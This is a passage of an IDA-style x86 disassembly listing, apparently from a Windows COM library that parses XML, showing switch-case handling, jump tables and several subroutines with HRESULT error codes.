loc_69B38CC5: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
cmp [esi+3Ch], bl ; jumptable 69B38BAF case 5
jz short loc_69B38CD4
mov edi, 0C00CE581h
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38CD4: ; CODE XREF: sub_69B38A09+2BFj
cmp [esi+34h], ebx
mov byte ptr [esi+3Ch], 1
jz short loc_69B38CE7
mov edi, 0C00CE57Bh
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38CE7: ; CODE XREF: sub_69B38A09+2D2j
cmp [esi+3Ah], bl
jz short loc_69B38D1D
mov edi, 0C00CE57Eh
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38CF6: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
mov [ebp+var_58], eax ; jumptable 69B38BAF cases 34-36
mov [ebp+var_5C], 6
mov byte ptr [ebp+arg_0+3], 1
jmp short loc_69B38D1D
; ---------------------------------------------------------------------------
loc_69B38D06: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
mov [ebp+var_58], 31h ; jumptable 69B38BAF case 49
mov [ebp+var_5C], 7
loc_69B38D14: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
cmp [esi+34h], ebx ; jumptable 69B38BAF cases 7-12
jz loc_69B38DAE
loc_69B38D1D: ; CODE XREF: sub_69B38A09+2E1j
; sub_69B38A09+2FBj
cmp [esi+3Bh], bl
jz short loc_69B38D33
mov ecx, esi
call sub_69B386EA
mov edi, eax
cmp edi, ebx
jnz loc_69B39049
loc_69B38D33: ; CODE XREF: sub_69B38A09+317j
cmp byte ptr [ebp+arg_0+3], bl
mov eax, [esi+8Ch]
lea edx, [ebp+var_8]
push edx
push 1
push dword ptr [esi+88h]
mov [ebp+var_54], ebx
mov ecx, [eax]
push esi
push eax
jz short loc_69B38D7B
mov byte ptr [ebp+arg_0+3], bl
call dword ptr [ecx+1Ch]
mov edi, eax
lea eax, [ebp+var_60]
push eax
mov ecx, esi
call sub_69B37D95
loc_69B38D64: ; CODE XREF: sub_69B38A09+382j
cmp eax, ebx
jge short loc_69B38D6A
mov edi, eax
loc_69B38D6A: ; CODE XREF: sub_69B38A09+35Dj
mov eax, [ebp+var_44]
mov [esi+88h], eax
loc_69B38D73: ; CODE XREF: sub_69B38A09+43Dj
mov [ebp+var_44], ebx
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38D7B: ; CODE XREF: sub_69B38A09+346j
call dword ptr [ecx+1Ch]
mov edi, eax
lea eax, [ebp+var_60]
push eax
mov ecx, esi
call sub_69B37B4D
jmp short loc_69B38D64
; ---------------------------------------------------------------------------
loc_69B38D8D: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
mov [ebp+var_5C], 19h ; jumptable 69B38BAF cases 37-45
jmp short loc_69B38DA6
; ---------------------------------------------------------------------------
loc_69B38D96: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
mov [ebp+var_5C], 1Ah ; jumptable 69B38BAF cases 46-48
jmp short loc_69B38DA6
; ---------------------------------------------------------------------------
loc_69B38D9F: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
mov [ebp+var_5C], 17h ; jumptable 69B38BAF cases 50-57
loc_69B38DA6: ; CODE XREF: sub_69B38A09+38Bj
; sub_69B38A09+394j
mov [ebp+var_58], eax
loc_69B38DA9: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
cmp [esi+34h], ebx ; jumptable 69B38BAF cases 15,22,24
jnz short loc_69B38DEF ; jumptable 69B38BAF cases 13,14,17
loc_69B38DAE: ; CODE XREF: sub_69B38A09+30Ej
mov edi, 0C00CE580h
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38DB8: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
mov eax, [esi+8Ch] ; jumptable 69B38BAF cases 19-21,27
xor ecx, ecx
inc ecx
lea edi, [ebp+var_8]
push edi
push ecx
push dword ptr [esi+88h]
mov [ebp+var_54], ecx
mov edx, [eax]
push esi
push eax
call dword ptr [edx+1Ch]
cmp [ebp+var_5C], 1Bh
mov edi, eax
mov [ebp+var_44], ebx
jnz loc_69B39049
dec dword ptr [esi+34h]
push 4
jmp loc_69B39033
; ---------------------------------------------------------------------------
loc_69B38DEF: ; CODE XREF: sub_69B38A09+1A6j
; sub_69B38A09+3A3j
; DATA XREF: ...
cmp [esi+3Dh], bl ; jumptable 69B38BAF cases 13,14,17
jz short loc_69B38E0E ; jumptable 69B38BAF cases 16,18
loc_69B38DF4: ; CODE XREF: sub_69B38A09+287j
mov edi, 0C00CE556h
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38DFE: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
cmp [esi+7Ch], bx ; jumptable 69B38BAF cases 58-60
mov [ebp+var_58], eax
mov [ebp+var_5C], 0Dh
jnz short loc_69B38E4B
loc_69B38E0E: ; CODE XREF: sub_69B38A09+1A6j
; sub_69B38A09+3E9j
; DATA XREF: ...
cmp [esi+7Ch], bx ; jumptable 69B38BAF cases 16,18
mov [ebp+var_54], 1
jz short loc_69B38E2B
lea eax, [ebp+var_60]
push eax
mov ecx, esi
call sub_69B37D23
jmp loc_69B39040
; ---------------------------------------------------------------------------
loc_69B38E2B: ; CODE XREF: sub_69B38A09+410j
mov eax, [esi+8Ch]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push 1
push dword ptr [esi+88h]
push esi
push eax
call dword ptr [ecx+1Ch]
mov edi, eax
jmp loc_69B38D73
; ---------------------------------------------------------------------------
loc_69B38E4B: ; CODE XREF: sub_69B38A09+403j
lea eax, [ebp+var_60]
push eax
mov ecx, esi
mov [ebp+var_54], 1
call sub_69B37D23
mov edi, eax
cmp edi, ebx
jl loc_69B39049
push dword ptr [esi+78h]
mov ecx, esi
call sub_69B375AE
jmp loc_69B39040
; ---------------------------------------------------------------------------
loc_69B38E76: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
xor eax, eax ; jumptable 69B38BAF case 61
mov ax, [esi+7Ch]
cmp ax, bx
lea ecx, [eax+1]
mov [ebp+var_C], ecx
jz short loc_69B38E8E
mov ecx, esi
call sub_69B3888E
loc_69B38E8E: ; CODE XREF: sub_69B38A09+47Cj
mov edx, [esi+74h]
mov edi, [esi+80h]
mov eax, [esi+8Ch]
mov ecx, [eax]
lea edx, [edi+edx*4]
push edx
push [ebp+var_C]
push dword ptr [esi+88h]
push esi
push eax
call dword ptr [ecx+1Ch]
mov edi, eax
cmp edi, ebx
mov eax, [esi+78h]
mov ecx, [eax+1Ch]
mov [esi+88h], ecx
jge short loc_69B38ECC
mov byte ptr [esi+3Fh], 1
jmp loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38ECC: ; CODE XREF: sub_69B38A09+4B8j
mov ecx, [esi+8Ch]
mov edx, [ecx]
push eax
push esi
push ecx
call dword ptr [edx+10h]
jmp loc_69B39040
; ---------------------------------------------------------------------------
loc_69B38EDF: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
mov [esi+2Fh], bl ; jumptable 69B38BAF case 65
loc_69B38EE2: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
xor eax, eax ; jumptable 69B38BAF case 62
mov ax, [esi+7Ch]
cmp ax, bx
lea ecx, [eax+1]
mov [ebp+var_C], ecx
jz short loc_69B38EFA
mov ecx, esi
call sub_69B3888E
loc_69B38EFA: ; CODE XREF: sub_69B38A09+4E8j
mov edx, [esi+74h]
mov edi, [esi+80h]
mov eax, [esi+8Ch]
mov ecx, [eax]
lea edx, [edi+edx*4]
push edx
push [ebp+var_C]
push dword ptr [esi+88h]
push esi
push eax
call dword ptr [ecx+1Ch]
mov edi, eax
cmp edi, ebx
jl loc_69B38FC5
loc_69B38F27: ; CODE XREF: sub_69B38A09+549j
; sub_69B38A09+55Cj
push dword ptr [esi+78h]
push 1
loc_69B38F2C: ; CODE XREF: sub_69B38A09+5C6j
mov eax, [esi+8Ch]
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx+14h]
mov edi, eax
cmp edi, ebx
jnz loc_69B39049
mov ecx, esi
call sub_69B38694
jmp loc_69B39040
; ---------------------------------------------------------------------------
loc_69B38F4F: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
cmp [esi+3Bh], bl ; jumptable 69B38BAF case 66
jz short loc_69B38F27
mov ecx, esi
call sub_69B386EA
mov edi, eax
cmp edi, ebx
jnz loc_69B39049
jmp short loc_69B38F27
; ---------------------------------------------------------------------------
loc_69B38F67: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
lea eax, [ebp+var_60] ; jumptable 69B38BAF case 64
push eax
mov ecx, esi
mov [ebp+var_5C], 0Eh
mov [ebp+var_58], 3
mov [ebp+var_54], 1
call sub_69B37C12
mov edi, eax
cmp edi, ebx
jnz loc_69B39049
movzx edx, word ptr [esi+86h]
mov edi, [esi+80h]
mov eax, [esi+8Ch]
mov ecx, [eax]
lea edx, [edi+edx*4-8]
push edx
push 2
push dword ptr [esi+88h]
push esi
push eax
call dword ptr [ecx+1Ch]
mov ecx, esi
mov edi, eax
call sub_69B386CF
cmp edi, ebx
jge short loc_69B38FCB ; jumptable 69B38BAF cases 67,68
loc_69B38FC5: ; CODE XREF: sub_69B38A09+518j
mov byte ptr [esi+40h], 1
jmp short loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38FCB: ; CODE XREF: sub_69B38A09+1A6j
; sub_69B38A09+5BAj
; DATA XREF: ...
push dword ptr [esi+78h] ; jumptable 69B38BAF cases 67,68
push ebx
jmp loc_69B38F2C
; ---------------------------------------------------------------------------
loc_69B38FD4: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
cmp [esi+68h], ebx ; jumptable 69B38BAF case 63
jnz short loc_69B38FE0
mov edi, 0C00CE552h
jmp short loc_69B39049
; ---------------------------------------------------------------------------
loc_69B38FE0: ; CODE XREF: sub_69B38A09+5CEj
push [ebp+var_4C]
mov eax, [esi+78h]
push [ebp+var_50]
mov ecx, esi
mov [ebp+var_C], eax
call sub_69B3856B
mov edi, eax
cmp edi, ebx
jnz short loc_69B39049
push [ebp+var_C]
mov eax, [esi+8Ch]
mov ecx, [eax]
push ebx
push esi
push eax
call dword ptr [ecx+14h]
jmp short loc_69B39040
; ---------------------------------------------------------------------------
loc_69B3900C: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
inc dword ptr [esi+34h] ; jumptable 69B38BAF case 69
cmp [esi+3Bh], bl
jz short loc_69B3901B
mov ecx, esi
call sub_69B386EA
loc_69B3901B: ; CODE XREF: sub_69B38A09+609j
push 3
jmp short loc_69B39033
; ---------------------------------------------------------------------------
loc_69B3901F: ; CODE XREF: sub_69B38A09+1A6j
; DATA XREF: .text:off_69B391DAo
cmp [esi+3Dh], bl ; jumptable 69B38BAF case 70
jz short loc_69B39049
mov eax, [esi+5Ch]
cmp [eax+0Eh], bl
jnz short loc_69B39049
cmp [eax+0Dh], bl
jnz short loc_69B39049
push 5
loc_69B39033: ; CODE XREF: sub_69B38A09+3E1j
; sub_69B38A09+614j
mov eax, [esi+8Ch]
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx+0Ch]
loc_69B39040: ; CODE XREF: sub_69B38A09+2B7j
; sub_69B38A09+41Dj ...
mov edi, eax
jmp short loc_69B39049
; ---------------------------------------------------------------------------
loc_69B39044: ; CODE XREF: sub_69B38A09+199j
; sub_69B38A09+1A6j
; DATA XREF: ...
mov edi, 80004005h ; default
; jumptable 69B38BAF cases 6,23,25,26
loc_69B39049: ; CODE XREF: sub_69B38A09+1B3j
; sub_69B38A09+1BFj ...
lea ecx, [ebp+var_3C]
call sub_69B2DA65
loc_69B39051: ; CODE XREF: sub_69B38A09+145j
cmp edi, ebx
jz loc_69B38B53
jmp short loc_69B3905F
; ---------------------------------------------------------------------------
loc_69B3905B: ; CODE XREF: sub_69B38A09+176j
mov byte ptr [esi+24h], 1
loc_69B3905F: ; CODE XREF: sub_69B38A09+14Dj
; sub_69B38A09+650j
dec dword ptr [esi+30h]
cmp edi, 0C00CE500h
jnz loc_69B3911C
mov eax, [esi+5Ch]
mov cl, [eax+0Dh]
mov dl, [eax+0Fh]
mov [ebp+var_3], cl
mov cl, [eax+0Eh]
xor edi, edi
cmp cl, bl
mov [ebp+var_2], cl
mov [ebp+var_1], dl
jz short loc_69B39091
mov eax, [eax+18h]
cmp eax, [esi+68h]
jnz short loc_69B390EC
loc_69B39091: ; CODE XREF: sub_69B38A09+67Ej
mov ecx, esi
call sub_69B384B3
test eax, eax
jnz short loc_69B390FD
cmp [ebp+var_1], bl
jnz short loc_69B390D4
cmp [ebp+var_2], bl
jz short loc_69B390B7
mov eax, [esi+8Ch]
mov ecx, [eax]
push 7
push esi
push eax
call dword ptr [ecx+0Ch]
jmp short loc_69B390CE
; ---------------------------------------------------------------------------
loc_69B390B7: ; CODE XREF: sub_69B38A09+69Bj
cmp [ebp+var_3], bl
jz short loc_69B390D4
mov eax, [esi+8Ch]
mov ecx, [eax]
push 2
push esi
push eax
call dword ptr [ecx+0Ch]
dec dword ptr [esi+34h]
loc_69B390CE: ; CODE XREF: sub_69B38A09+6ACj
mov edi, eax
cmp edi, ebx
jl short loc_69B39120
loc_69B390D4: ; CODE XREF: sub_69B38A09+696j
; sub_69B38A09+6B1j
cmp [esi+30h], ebx
jg short loc_69B390E2
cmp [esi+26h], bl
jz loc_69B38B4B
loc_69B390E2: ; CODE XREF: sub_69B38A09+D1j
; sub_69B38A09+6CEj
mov [esi+39h], bl
loc_69B390E5: ; CODE XREF: sub_69B38A09+87j
xor edi, edi
jmp loc_69B391AF
; ---------------------------------------------------------------------------
loc_69B390EC: ; CODE XREF: sub_69B38A09+686j
mov eax, [esi+5Ch]
push dword ptr [eax+18h]
mov ecx, esi
call sub_69B37E2D
loc_69B390F9: ; CODE XREF: sub_69B38A09+AFj
mov edi, eax
jmp short loc_69B3911C
; ---------------------------------------------------------------------------
loc_69B390FD: ; CODE XREF: sub_69B38A09+691j
cmp [esi+68h], ebx
jle short loc_69B3910E
push ebx
mov ecx, esi
call sub_69B37E2D
mov edi, eax
jmp short loc_69B39118
; ---------------------------------------------------------------------------
loc_69B3910E: ; CODE XREF: sub_69B38A09+6F7j
cmp [esi+3Ah], bl
jnz short loc_69B39118
mov edi, 0C00CE558h
loc_69B39118: ; CODE XREF: sub_69B38A09+703j
; sub_69B38A09+708j
mov byte ptr [ebp+arg_4+3], 1
loc_69B3911C: ; CODE XREF: sub_69B38A09+65Fj
; sub_69B38A09+6F2j
cmp edi, ebx
jz short loc_69B3915E
loc_69B39120: ; CODE XREF: sub_69B38A09+6C9j
cmp edi, 8000000Ah
jz short loc_69B3915E
mov ecx, [esi+80h]
cmp ecx, ebx
mov byte ptr [ebp+arg_4+3], 1
mov [esi+1Ch], edi
jz short loc_69B39142
mov eax, [esi+74h]
inc eax
mov [ebp+arg_0], eax
jmp short loc_69B39145
; ---------------------------------------------------------------------------
loc_69B39142: ; CODE XREF: sub_69B38A09+72Ej
mov [ebp+arg_0], ebx
loc_69B39145: ; CODE XREF: sub_69B38A09+737j
mov eax, [esi+8Ch]
mov edx, [eax]
push ecx
push [ebp+arg_0]
push edi
push esi
push eax
call dword ptr [edx+18h]
test eax, eax
jz short loc_69B39163
mov [esi+1Ch], edi
loc_69B3915E: ; CODE XREF: sub_69B38A09+715j
; sub_69B38A09+71Dj
cmp byte ptr [ebp+arg_4+3], bl
jz short loc_69B391A5
loc_69B39163: ; CODE XREF: sub_69B38A09+750j
cmp [esi+26h], bl
jnz short loc_69B391A5
mov eax, [esi+8Ch]
push 8
push esi
mov [esi+1Ch], edi
mov byte ptr [esi+26h], 1
mov [esi+27h], bl
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
cmp eax, ebx
jz short loc_69B391A5
cmp [esi+1Ch], ebx
mov edi, eax
jnz short loc_69B391A2
mov ecx, [esi+8Ch]
mov edx, [ecx]
push ebx
push ebx
push eax
push esi
push ecx
call dword ptr [edx+18h]
cmp eax, ebx
jz short loc_69B391A2
mov edi, eax
loc_69B391A2: ; CODE XREF: sub_69B38A09+781j
; sub_69B38A09+795j
mov [esi+1Ch], edi
loc_69B391A5: ; CODE XREF: sub_69B38A09+758j
; sub_69B38A09+75Dj ...
mov [esi+39h], bl
jmp short loc_69B391AF
; ---------------------------------------------------------------------------
loc_69B391AA: ; CODE XREF: sub_69B38A09+97j
; sub_69B38A09+A0j
mov edi, 8000000Ah
loc_69B391AF: ; CODE XREF: sub_69B38A09+69j
; sub_69B38A09+78j ...
lea ecx, [ebp+var_3C]
call sub_69B2DBD4
push [ebp+lpCriticalSection] ; lpCriticalSection
call ds:LeaveCriticalSection
lea ecx, [ebp+var_20]
call sub_69B1976C
push [ebp+var_10]
call dword_69B92944
mov eax, edi
pop edi
pop esi
loc_69B391D5: ; CODE XREF: sub_69B38A09+1Bj
pop ebx
leave
retn 8
sub_69B38A09 endp
; ---------------------------------------------------------------------------
off_69B391DA dd offset loc_69B38BB6, offset loc_69B38C65, offset loc_69B38C61
; DATA XREF: sub_69B38A09+1A6r
dd offset loc_69B38BD5, offset loc_69B38CC5, offset loc_69B38D14 ; jump table for switch statement
dd offset loc_69B38DEF, offset loc_69B38DA9, offset loc_69B38E0E
dd offset loc_69B38DB8, offset loc_69B38BF6, offset loc_69B38C09
dd offset loc_69B38C3E, offset loc_69B38C33, offset loc_69B38CF6
dd offset loc_69B38D8D, offset loc_69B38D96, offset loc_69B38D06
dd offset loc_69B38D9F, offset loc_69B38DFE, offset loc_69B38E76
dd offset loc_69B38EE2, offset loc_69B38FD4, offset loc_69B38F67
dd offset loc_69B38EDF, offset loc_69B38F4F, offset loc_69B38FCB
dd offset loc_69B3900C, offset loc_69B3901F, offset loc_69B39044
byte_69B39252 db 0, 1, 2, 1 ; DATA XREF: sub_69B38A09+19Fr
db 3, 4, 1Dh, 5 ; indirect table for switch statement
db 5, 5, 5, 5
db 5, 6, 6, 7
db 8, 6, 8, 9
db 9, 9, 7, 1Dh
db 7, 1Dh, 1Dh, 9
db 0Ah, 0Bh, 0Bh, 0Ch
db 0Dh, 0Dh, 0Eh, 0Eh
db 0Eh, 0Fh, 0Fh, 0Fh
db 0Fh, 0Fh, 0Fh, 0Fh
db 0Fh, 0Fh, 10h, 10h
db 10h, 11h, 12h, 12h
db 12h, 12h, 12h, 12h
db 12h, 12h, 13h, 13h
db 13h, 14h, 15h, 16h
db 17h, 18h, 19h, 1Ah
db 1Ah, 1Bh, 1Ch
; =============== S U B R O U T I N E =======================================
sub_69B39299 proc near ; CODE XREF: sub_69B3937E+78p
; sub_69B39507+9Ap ...
arg_0 = dword ptr 4
push esi
push 0C8h
mov esi, ecx
call sub_69B11E44
test eax, eax
jz short loc_69B392B4
push esi
mov ecx, eax
call sub_69B35A98
jmp short loc_69B392B6
; ---------------------------------------------------------------------------
loc_69B392B4: ; CODE XREF: sub_69B39299+Fj
xor eax, eax
loc_69B392B6: ; CODE XREF: sub_69B39299+19j
test eax, eax
mov [esi+14h], eax
jnz short loc_69B392C4
mov eax, 8007000Eh
jmp short loc_69B39308
; ---------------------------------------------------------------------------
loc_69B392C4: ; CODE XREF: sub_69B39299+22j
xor ecx, ecx
mov cx, [esi+2Ah]
push ebx
push ecx
mov ecx, eax
call sub_69B31CD2
push dword ptr [esi+14h]
mov ecx, esi
push [esp+0Ch+arg_0]
call sub_69B3894B
mov ebx, eax
test ebx, ebx
jge short loc_69B39305
push edi
mov edi, [esi+14h]
test edi, edi
jz short loc_69B392FC
mov ecx, edi
call sub_69B32133
push edi
call sub_69B1B2B7
loc_69B392FC: ; CODE XREF: sub_69B39299+54j
and dword ptr [esi+14h], 0
mov eax, ebx
pop edi
jmp short loc_69B39307
; ---------------------------------------------------------------------------
loc_69B39305: ; CODE XREF: sub_69B39299+4Cj
xor eax, eax
loc_69B39307: ; CODE XREF: sub_69B39299+6Aj
pop ebx
loc_69B39308: ; CODE XREF: sub_69B39299+29j
pop esi
retn 4
sub_69B39299 endp
; =============== S U B R O U T I N E =======================================
sub_69B3930C proc near ; CODE XREF: sub_69B39325+3p
push esi
mov esi, ecx
push offset dword_69B25E74
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B3930C endp
; =============== S U B R O U T I N E =======================================
sub_69B39325 proc near ; CODE XREF: sub_69B3D196+15p
arg_0 = dword ptr 4
push esi
mov esi, ecx
call sub_69B3930C
push 1
push 1Ch
lea ecx, [esi+48h]
mov dword ptr [esi], offset off_69B276F8
mov dword ptr [esi+4], offset off_69B276F0
mov dword ptr [esi+10h], offset off_69B276E4
call sub_69B88ED8
push 0Ah
push 2Ch
lea ecx, [esi+60h]
call sub_69B88ED8
and dword ptr [esi+8Ch], 0
mov eax, [esp+4+arg_0]
or dword ptr [esi+0C0h], 0FFFFFFFFh
mov ecx, esi
mov [esi+0A8h], eax
call sub_69B37331
mov eax, esi
pop esi
retn 4
sub_69B39325 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3937E proc near ; CODE XREF: sub_69B3967D+85p
; sub_69B39961+71p ...
var_18 = dword ptr -18h
lpString = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = byte ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = byte ptr 20h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_18]
call sub_69B3A66D
xor ebx, ebx
cmp [ebp+arg_4], ebx
jnz short loc_69B393A2
mov edi, 80070057h
jmp loc_69B394F3
; ---------------------------------------------------------------------------
loc_69B393A2: ; CODE XREF: sub_69B3937E+18j
cmp [esi+50h], ebx
jnz short loc_69B393AE
mov ecx, esi
call sub_69B38726
loc_69B393AE: ; CODE XREF: sub_69B3937E+27j
cmp [ebp+arg_0], ebx
jnz short loc_69B393BC
mov eax, [esi+0B4h]
mov [ebp+arg_0], eax
loc_69B393BC: ; CODE XREF: sub_69B3937E+33j
push 4Ch
call sub_69B11E44
cmp eax, ebx
jz short loc_69B393DA
push [ebp+arg_10]
lea ecx, [esi+10h]
push ecx
mov ecx, eax
call sub_69B3A342
mov [ebp+var_4], eax
jmp short loc_69B393DD
; ---------------------------------------------------------------------------
loc_69B393DA: ; CODE XREF: sub_69B3937E+47j
mov [ebp+var_4], ebx
loc_69B393DD: ; CODE XREF: sub_69B3937E+5Aj
cmp [ebp+var_4], ebx
jnz short loc_69B393EC
mov edi, 8007000Eh
jmp loc_69B394F3
; ---------------------------------------------------------------------------
loc_69B393EC: ; CODE XREF: sub_69B3937E+62j
cmp [ebp+arg_C], bl
mov ecx, esi
jz short loc_69B39416
push [ebp+var_4]
call sub_69B39299
mov edi, eax
cmp edi, ebx
jl loc_69B394DF
cmp byte ptr [ebp+arg_10], bl
jz short loc_69B39429
mov eax, [esi+14h]
mov byte ptr [eax+0A8h], 1
jmp short loc_69B39429
; ---------------------------------------------------------------------------
loc_69B39416: ; CODE XREF: sub_69B3937E+73j
push ebx
push [ebp+var_4]
call sub_69B3894B
mov edi, eax
cmp edi, ebx
jl loc_69B394DF
loc_69B39429: ; CODE XREF: sub_69B3937E+8Aj
; sub_69B3937E+96j
mov eax, [esi+5Ch]
mov cl, [ebp+arg_8]
mov [eax+0Ch], cl
mov eax, [esi+5Ch]
mov cl, byte ptr [ebp+arg_10]
mov [eax+0Dh], cl
mov eax, [esi+5Ch]
mov cl, [ebp+arg_14]
mov [eax+0Eh], cl
mov eax, [esi+5Ch]
mov cl, [ebp+arg_18]
mov [eax+0Fh], cl
mov eax, [esi+5Ch]
cmp [eax+4], ebx
jnz short loc_69B3945F
mov edi, 8007000Eh
jmp loc_69B394DF
; ---------------------------------------------------------------------------
loc_69B3945F: ; CODE XREF: sub_69B3937E+D5j
push [ebp+arg_0] ; int
lea ecx, [ebp+var_18]
push dword ptr [esi+0B0h] ; lpString
push [ebp+arg_4] ; int
call sub_69B3A897
mov edi, eax
cmp edi, ebx
jl short loc_69B394DF
mov ecx, esi
call sub_69B37315
cmp eax, ebx
jnz short loc_69B3948F
cmp [esi+0BCh], ebx
jz short loc_69B3948F
mov eax, [ebp+arg_0]
loc_69B3948F: ; CODE XREF: sub_69B3937E+104j
; sub_69B3937E+10Cj
push eax ; lpString
lea ecx, [ebp+var_18]
call sub_69B3A5F4
mov edi, eax
cmp edi, ebx
jl short loc_69B394DF
push [ebp+lpString] ; lpString
mov ecx, esi
call sub_69B3745D
mov edi, eax
cmp edi, ebx
jl short loc_69B394DF
mov eax, [esi+5Ch]
mov byte ptr [esi+38h], 1
mov ecx, [eax+4]
xor eax, eax
cmp [ebp+arg_8], bl
setz al
push eax
lea eax, [ebp+var_18]
push eax
call sub_69B3A3DD
mov edi, eax
cmp edi, ebx
mov [esi+38h], bl
jge short loc_69B394E8
push [ebp+var_18] ; OLECHAR *
call SysAllocString
mov [esi+44h], eax
loc_69B394DF: ; CODE XREF: sub_69B3937E+81j
; sub_69B3937E+A5j ...
mov ecx, esi
call sub_69B384B3
jmp short loc_69B394EA
; ---------------------------------------------------------------------------
loc_69B394E8: ; CODE XREF: sub_69B3937E+153j
xor edi, edi
loc_69B394EA: ; CODE XREF: sub_69B3937E+168j
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B394F3: ; CODE XREF: sub_69B3937E+1Fj
; sub_69B3937E+69j
lea ecx, [ebp+var_18]
mov [esi+1Ch], edi
call sub_69B3A8F3
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 1Ch
sub_69B3937E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B39507(int, int, LPMONIKER ppmk, int, int)
sub_69B39507 proc near ; DATA XREF: .text:69B27734o
var_28 = dword ptr -28h
lpString = dword ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
lpCriticalSection= dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
ppmk = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
push ebx
call dword_69B92948
xor ebx, ebx
cmp eax, ebx
mov [ebp+var_8], eax
jnz short loc_69B39527
mov eax, 80004005h
jmp loc_69B39678
; ---------------------------------------------------------------------------
loc_69B39527: ; CODE XREF: sub_69B39507+14j
push esi
mov esi, [ebp+arg_0]
push edi
push dword ptr [esi+0A8h]
lea ecx, [ebp+var_14]
push eax
call sub_69B1A8C7
lea eax, [esi+90h]
push eax ; lpCriticalSection
mov [ebp+lpCriticalSection], eax
call ds:EnterCriticalSection
lea ecx, [ebp+var_28]
call sub_69B3A66D
cmp [ebp+ppmk], ebx
jnz short loc_69B39562
mov edi, 80070057h
jmp loc_69B39652
; ---------------------------------------------------------------------------
loc_69B39562: ; CODE XREF: sub_69B39507+4Fj
cmp [esi+50h], ebx
jnz short loc_69B3956E
mov ecx, esi
call sub_69B38726
loc_69B3956E: ; CODE XREF: sub_69B39507+5Ej
push 4Ch
call sub_69B11E44
cmp eax, ebx
jz short loc_69B3958A
push ebx
lea ecx, [esi+10h]
push ecx
mov ecx, eax
call sub_69B3A342
mov [ebp+arg_0], eax
jmp short loc_69B3958D
; ---------------------------------------------------------------------------
loc_69B3958A: ; CODE XREF: sub_69B39507+70j
mov [ebp+arg_0], ebx
loc_69B3958D: ; CODE XREF: sub_69B39507+81j
cmp [ebp+arg_0], ebx
jnz short loc_69B3959C
mov edi, 8007000Eh
jmp loc_69B39652
; ---------------------------------------------------------------------------
loc_69B3959C: ; CODE XREF: sub_69B39507+89j
push [ebp+arg_0]
mov ecx, esi
call sub_69B39299
mov edi, eax
cmp edi, ebx
jl loc_69B39642
mov eax, [esi+5Ch]
cmp [eax+4], ebx
jnz short loc_69B395C2
mov edi, 8007000Eh
jmp loc_69B39642
; ---------------------------------------------------------------------------
loc_69B395C2: ; CODE XREF: sub_69B39507+AFj
lea eax, [ebp+var_28]
push eax
push [ebp+arg_C]
mov ecx, esi
push [ebp+ppmk]
call sub_69B37FBC
mov edi, eax
cmp edi, ebx
jl short loc_69B39642
mov ecx, esi
call sub_69B37315
push eax ; lpString
lea ecx, [ebp+var_28]
call sub_69B3A5F4
mov edi, eax
cmp edi, ebx
jl short loc_69B39642
push [ebp+lpString] ; lpString
mov ecx, esi
call sub_69B3745D
mov edi, eax
cmp edi, ebx
jl short loc_69B39642
cmp [ebp+arg_4], ebx
mov ecx, [esi+5Ch]
setz al
mov byte ptr [esi+38h], 1
mov [ecx+0Ch], al
mov eax, [esi+5Ch]
mov ecx, [eax+4]
xor eax, eax
cmp [ebp+arg_4], ebx
setnz al
push eax ; int
lea eax, [ebp+var_28]
push eax ; int
push [ebp+arg_C] ; int
push [ebp+ppmk] ; ppmk
call sub_69B3A45B
mov edi, eax
cmp edi, ebx
mov [esi+38h], bl
jge short loc_69B39649
push [ebp+var_28] ; OLECHAR *
call SysAllocString
mov [esi+44h], eax
loc_69B39642: ; CODE XREF: sub_69B39507+A3j
; sub_69B39507+B6j ...
mov ecx, esi
call sub_69B384B3
loc_69B39649: ; CODE XREF: sub_69B39507+12Dj
